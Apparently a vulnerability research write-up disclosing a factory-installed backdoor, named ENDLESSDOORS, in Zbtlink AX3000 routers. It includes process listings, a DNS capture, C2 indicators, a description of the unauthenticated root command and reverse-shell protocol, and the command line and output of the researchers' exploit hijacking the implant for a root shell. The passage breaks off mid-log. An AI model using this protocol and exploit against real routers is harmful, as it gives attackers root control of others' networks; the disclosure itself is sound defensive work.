Zbtlink AX3000 routers (model Z8102AX) contain a factory-installed backdoor named ENDLESSDOORS, which is a modified version of the `rctl` remote control tool that establishes a persistent connection to a command and control server (47.107.224[.]89 and rbdg4nzqadui[.]wikaba[.]com) and executes arbitrary commands with root privileges upon receiving a simple 39-byte registration packet. The article does not provide specific version ranges, a CVSS score, a fixed version, or a recommended workaround.
On my desk in suburban Philadelphia, an AX3000 Dual SIM 5G CPE WiFi 6 is plugged into an isolated research network. Its status lights blink and twinkle as it continuously attempts to reach a command and control server on the internet. The same plays out in homes, offices, and even vehicles across the globe: Zbtlink routers phone home, waiting for orders. Not because they were hacked. Because they were shipped that way. The router on my desk is made by Zbtlink, a brand of Shenzhen Zhibotong Electronics, a Chinese manufacturer that builds routers and white-labels them for sale around the world. The same device shows up on Amazon under both the Zbtlink and Wiflyer brand names, and in Shopify stores like zbtwifi.com and zbtlink.com . We bought our Zbtlink AX3000 (model Z8102AX-2DSIM, also sold as the Z8102AX) off of Alibaba. The implant is easy to find once you know it’s there. root@OpenWrt:~ # ps PID USER VSZ STAT COMMAND … 6 root 0 IW< [kworker/0:0H-kb] 17 root 0 IW< [kworker/1:0H-kb] 651 root 0 IW [kworker/0:2-pm] … 6811 root 852 S kworker 6826 root 1132 S kworker … A kworker is a Linux kernel thread, and it shows up in a process listing wrapped in brackets. The two unbracketed kworkers in the snippet above, from our AX3000, are not kernel threads. They are ordinary userland processes running as root, with real memory footprints, named to disappear into a crowd of legitimate ones. They are an implant, a phone-home trojan horse. Our zero-day research team named this ENDLESSDOORS. ENDLESSDOORS, at its core, is a small tool called rctl (remote control linux). Uploaded to GitHub on January 14, 2015 and never touched again, this obscure repository implements a simple command and control client and server. The server listens on port 7000 for clients to connect. It can send the client individual shell commands or tell the client to spawn a reverse bash shell. kworker on the AX3000 is a customized version of rctl, and it’s been configured to phone home to 47.107.224[.]89 and rbdg4nzqadui[.]wikaba[.]com. root@OpenWrt:~ # tcpdump -i any -n not port 22 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on any, link-type LINUX_SLL (Linux cooked v1), capture size 262144 bytes 14:56:51.702295 IP 127.0.0.1.57637 > 127.0.0.1.53: 45414+ A? rbdg4nzqadui.wikaba.com. (41) 14:56:51.702415 IP6 ::1.57637 > ::1.53: 45414+ A? rbdg4nzqadui.wikaba.com. (41) The entire attack is answering the phone There is no handshake, no key exchange, no negotiation. When the implant reaches a server, it sends a fixed 39-byte hello: a 33-byte class label padded with nulls, then its LAN MAC address. That's the whole registration. There is no client or server verification. After that, anything the server sends is handed to popen() and executed as uid 0. There is no allow-list and no sandbox. One reserved string, rctlbash , tells the implant to open a second connection to port 7001, allocate a pseudo-terminal, spawn /bin/sh, and bridge it. That is a live interactive root shell. The vocabulary of this protocol is two phrases: run this as root , and give me a root shell . Anyone along the network path can hijack the client/server communication. Anyone who controls the resolution of rbdg4nzqadui[.]wikaba[.]com, or the address it resolves to, can control any ENDLESSDOORS implant that tries to phone home. Because the device dials out, none of this requires the router to be reachable from the internet. There's no listening port to find and no inbound rule to punch through. The connection originates inside the network and traverses NAT and typical egress filtering the way any outbound TCP session does. A unit sitting behind three layers of firewall in a hotel back office is exactly as reachable as one with a public IP, provided it can get to the C2. That isn’t theoretical either. We translated the rctl server protocol into a go-exploit and hijacked the outbound rctl communications from our AX3000 client. After the AX3000 announced itself, we told it to give us an interactive shell. And it did. ./build/endlessdoors_linux-arm64 -e -rctlport 7000 -c2 SSLShellServer -lport 4444 time=2026-07-20T17:39:46.362Z level=STATUS msg="Certificate not provided. Generating a TLS Certificate" time=2026-07-20T17:39:46.452Z level=STATUS msg="Starting TLS listener on 192.168.1.100:4444" time=2026-07-20T17:39:46.452Z level=STATUS msg="Starting target" index=0 host=192.168.1.1 port=80 ssl=false "ssl auto"=false time=2026-07-20T17:39:46.452Z level=STATUS msg="rctl C2 listening on 192.168.1.100:7000; waiting up to 30s for the implant to phone home" time=2026-07-20T17:39:48.361Z level=SUCCESS msg="Implant connected from 192.168.1.1:53028" time=2026-07-20T17:39:48.361Z level=SUCCESS msg="Registration: class=\"_25.0527_174431\" mac=f8:5e:3c:97:d2:58" time=2026-07-20T17:39:48.361Z level=STATUS msg="Delivering the payload as root through the implant's popen command channel" time=2026-07-20T17:39:48.362Z level=SUCCESS msg="Payload delivered as root; await...